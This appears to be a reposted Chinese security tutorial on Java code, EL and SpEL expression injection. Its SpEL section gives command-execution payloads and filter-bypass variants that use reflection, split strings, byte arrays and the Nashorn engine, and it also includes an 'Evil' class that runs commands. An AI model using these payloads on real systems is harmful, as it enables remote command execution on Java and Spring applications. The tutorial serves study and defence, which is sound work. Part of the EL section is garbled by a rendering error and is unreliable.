标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-3365] 作者: 小螺号 发表于: [2023-11-19]
本文共 [310] 位读者顶过
代码注入
产生代码注入漏洞的前提条件是将用户输入的数据作为Java代码进行执行 [出自:jiwo.org] 由此所见,程序要有相应的功能能够将用户输入的数据当作代码执行,而Java反射就可以实现这样的功能:根据传入不同的类名、方法名和参数执行不同的功能 String ClassName = req.getParameter("ClassName"); String MethodName = req.getParameter("Method"); String[] Args = new String[]{req.getParameter("Args").toString()}; try{ Class clazz = Class.forName(ClassName); Constructor constructor = clazz.getConstructor(String[].class); Object obj = constructor.newInstance(new Object[]{Args}); Method method = clazz.getMethod(MethodName); method.invoke(obj); } ...... 代码注入更具有灵活性。例如在Apache Commons collections反序列化漏洞中直接使用Runtime.getRuntime().exec()执行系统命令是无回显的。有安全研究员研究出可回显的利用方式,其中一种思路是通过URLloader远程加载类文件以及异常处理机制构造出可以回显的利用方式 具体步骤如下: 首先构造出一个恶意类代码,并编译成Jar包放置在远程服务器上。然后利用ApacheCommons collections反序列化漏洞可以注入任意代码的特点,构造poc import Java.io.BufferedReader; import Java.io.InputStreamReader; public class Evil{ public static void Exec(String args) throws Exception{ Process proc = Runtime.getRuntime().exec(args); } } ![]() 在将用户可控部分数据注入代码达到动态执行某些功能的目的之前,需进行严格的检测和过滤,避免用户注入恶意代码,造成系统的损坏和权限的丢失 表达式注入 表达式语言(Expression Language),又称EL表达式,是一种在JSP中内置的语言,可以作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或者执行简单的运算和判断操作 EL基础语法 在JSP中,用户可以使用来 表 示 此 处 为 E L 表 达 式 , 例 如 , 表 达 式 ” {}来表示此处为EL表达式,例如,表达式”来表示此处为EL表达式,例如,表达式”{ name }”表示获取“name”变量 EL表达式也可以实例化Java的内置类,如Runtime.class会执行系统命令 ![]() Spel表达式注入 Spel(Spring 表达式语言全程为Spring Expression Language)是Spring Framework创建的一种表达式语言,它支持在运行时查询和操纵对象图表,注意 Spel 是以 API 接口的形式创建的,允许将其集成到其他应用程序和框架中 特性: 使用 Bean 的 ID 来引用 Bean 可调用方法和访问对象的属性 可对值进行算数、关系和逻辑运算 可使用正则表达式进行匹配 可进行集合操作 基础 Spel 定界符 Spel 使用 #{} 作为定界符,所有在打括号里的字符都被看做是 Spel 表达式,在其中可以使用 Spel 运算符、变量、引用 Bean 及其属性和方法等 #{} 和 ${} 的区别: #{} 就是 Spel 的定界符,用于指明内容为 Spel 表达式并执行 ${} 主要用于加载外部属性文件中的值 两者可以混合使用,但是必须 #{} 在外面,KaTeX parse error: Expected 'EOF', got '#' at position 10: {} 在里面,如:#̲{'()’},注意单引号是字符串类型才添加的,如#{’ocean’},#{2222 } 漏洞触发 ExpressionParser parser = new SpelExpressionParser();//ExpressionParser构造解析器 Expression exp = parser.parseExpression("'ocean'");//Expression负责评估定义的表达式字符串 String message = (String) exp.getValue();//getValue方法执行表达式 如果表达式字符串是可控的,那么可能就存在命令执行漏洞 在 Spel 中,使用 T() 运算符会调用类作用域的方法和常量 Expression exp = parser.parseExpression("T(java.lang.Runtime)");//Expression负责评估定义的表达式字符串 括号中需要包括类名的全限定名,也就是包名加上类名,唯一例外的是,Spel 内置了 java.lang 报下的类声明,也就是 java.lag.String 可以通过 T(String) 访问,而不需要使用全限定名 Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')"); payload构造 Fuzz Expression exp = parser.parseExpression("''.class"); Expression exp = parser.parseExpression("\"\".class"); bypass payload 反射调用 T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc") 反射调用+字符串拼接,针对java.long、Runtime、exec被过滤的情况 T(String).getClass().forName("java.l"+"ang.Run"+"time").getMethod("ex"+"ec".T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")).new String[]{"cmd","/C","calc"}) 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符 new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start() 当执行的系统命令被过滤或者被URL编码时,可以通过String类动态生成字符 T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99))) 等于T(java.lang.Runtime).getRuntime.exec('calc') JavaScript引擎通用poc T(javax.script.ScriptEngineManager).newInstance().getEngineByName('nashorn').eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time().ex"+"ec(s);") 当T(getClass())被过滤时 ''.class.forName('java.lang.Runtime') new String('s').class.forName('java.lang.Runtime') 实例UNctf-goodjava https://evoa.me/archives/14/#GoodJava OGNL表达式注入 OGNL 全称Object-Graph Navigation Language即对象导航图语言,一种功能强大的表达式语言 功能: 存取对象的任意属性 调用对象的方法 遍历整个对象的结构图 实现字段类型转化 webwork2 和 Struts2.x 中使用 OGNL 代替原来的 EL 来做界面数据绑定(就是把textfield.hidden和对象层某个类的某个属性绑定在一起,修改和现实自动同步)Struts2框架因为滥用OGNL表达式,所以漏洞较多 模板注入 FreeMarker模板注入 |